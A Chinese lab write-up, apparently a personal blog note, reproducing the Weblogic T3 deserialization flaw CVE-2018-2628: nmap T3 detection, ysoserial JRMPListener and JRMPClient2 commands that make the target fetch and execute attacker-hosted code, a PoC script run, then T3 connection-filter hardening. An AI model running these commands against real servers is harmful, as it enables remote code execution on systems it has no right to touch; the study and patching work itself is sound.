Weblogic T3反序列化漏洞(CVE-2018-2628)

【漏洞编号】

CVE-2018-2628

【漏洞描述】

         CVE-2018-2628漏洞是2018年Weblogic爆出的基于T3(丰富套接字)协议的反系列化高危漏洞,且在打上官方补丁Patch Set Update 180417补丁后仍能检测到只是利用方法有了一些改变漏洞编号改为了CVE-2018-3245,其基本原理其实都是利用了T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用(Remote Method Invocation),能够在本地虚拟机上调用远端代码。

【漏洞级别】

        高危

【漏洞复现】

A. 搭建实验环境

CVE-2018-2628漏洞利用工具包(工具包

JDK版本:jdk1.7.0_21

Weblogic版本:10.3.6.0

Ubuntu主机(Java JDK版本1.7以上)和Windows10主机(Python版本2.X)

注:这里完全可以在Ubuntu主机上完成所有实验,为了更好的理解原理把攻击机换成了Windows10。

B. 实验过程

        目标主机地址192.168.10.129,首先探测主机开放的端口及服务。使用nmap对目标主机进行端口扫描。

使用命令:

nmap -n -v -p7001,7002 192.168.10.129 --script=weblogic-t3-info

        针对7001,和7002两个默认的控制端口进行扫描,扫描的时候加上weblogic-t3-info脚本,如果目标服务器开启了T3协议就会在扫描结果中显示。

发现7001端口开启T3协议


         使用CVE-2018-2628漏洞检测工具,对目标主机进行检测。在url.txt中填入目标主机的“ip:port”,这里填入192.168.10.129:7001.在windows主机打开命令行运行CVE-2018-2628-MultiThreading.py开始检测,可以看到检测结果为漏洞存在。

使用检测工具检测

        确定目标主机存在Weblogic T3反序列化漏洞后,在Ubuntu主机上运行JRMPListener开启端口监听。使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序。在Ubuntu主机上运行ysoserial-0.1-cve-2018-2628-all.jar。

命令执行的格式:

java -cp ysoserial-\<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener\ <listen port> \ <gadget class>\<command>

参考样例:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"

        上面是我的Ubuntu主机上执行的命令,在Ubuntu主机上监听一个端口,这样目的主机上的Weblogic进行远程方法调用时,可以连接到Ubuntu主机。<command>是执行的命令,windows服务器的话运行calc.exe是打开计算器程序。如果是Linux服务器可直接执行控制台命令。

Ubuntu主机执行ysoserial-0.1-cve-2018-2628-all.jar

        当看到 *Opening JRMP listener on 22801 输出时,说明运行成功并且端口22801开启处于监听状态。此时要记录下ubuntu主机的ip地址为192.168.10.50。

        在Ubuntu主机上新打开一个终端,同样使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload字符串,因为要实现Weblogic远程调用Ubuntu主机上的方法。就需要知道远程方法所在的主机地址和端口号。所以在上一步要记录Ubuntu主机的信息。

命令执行的格式:

java -jar ysoserial-\<version>-cve-2018-2628-all.jar JRMPClient2 \<JRMPListener IP>:\<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

参考样例:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.10.50:22801 | xxd -p | tr -d $'\n' && echo

生成payload

        将Payload字符串复制到weblogic_poc.py文件中替换PAYLOAD。

修改PAYLOAD

        更改文件末尾的dip变量的值为目标服务器(Weblogic所在服务器)的ip地址192.168.10.129。当然端口也可以自定义。

修改dip

        在Win10主机上执行weblogic_poc.py开始漏洞利用。漏洞利用成功后程序会输出反序列化程序发送的数据包信息。

执行漏洞利用工具weblogic_poc.py  

        另一边观察Ubuntu主机发现触发漏洞后,目标服务器上的weblogic中的JVM虚拟机远程调用了监听程序中的方法向目标服务器返回了payload。

Ubuntu主机返回payload    

        当目标服务器远程调用后将执行Ubuntu主机返回的payload,打开计算器程序。实现远程任意代码的执行。

漏洞利用成功,打开了计算器程序

        从后面的Weblogic运行情况也可以看到执行了远程代码。

【漏洞加固】

        T3协议漏洞加固的话可以打上官方最新的补丁,既然官方已经发布说明这个利用方法最新的补丁已经补住了:-)怀疑。

        手动加固的话可以直接过滤掉t3协议,粗暴有效。当然可以加个白名单给指定的几台主机不影响使用。

具体如下:

(a)进入WebLogic控制台,点击域进行域配置。

域配置

(b)在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

添加过滤器

(c)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中

        输入:ip * * allow t3 (ip为允许的ip)

                    0.0.0.0/0 * *deny t3 t3s

    配置成功后直接保存就好了,再用漏洞检测工具检测就显示不存在漏洞了。

注:本文所有内容均为作者整理和制作而成,为个人笔记。转载请注明出处。

总有一天要改成原创而成,广告位预留,不租~

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,117评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,963评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,897评论 0 240
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,805评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,208评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,535评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,797评论 2 311
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,493评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,215评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,477评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,988评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,325评论 2 252
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,971评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,807评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,544评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,455评论 2 266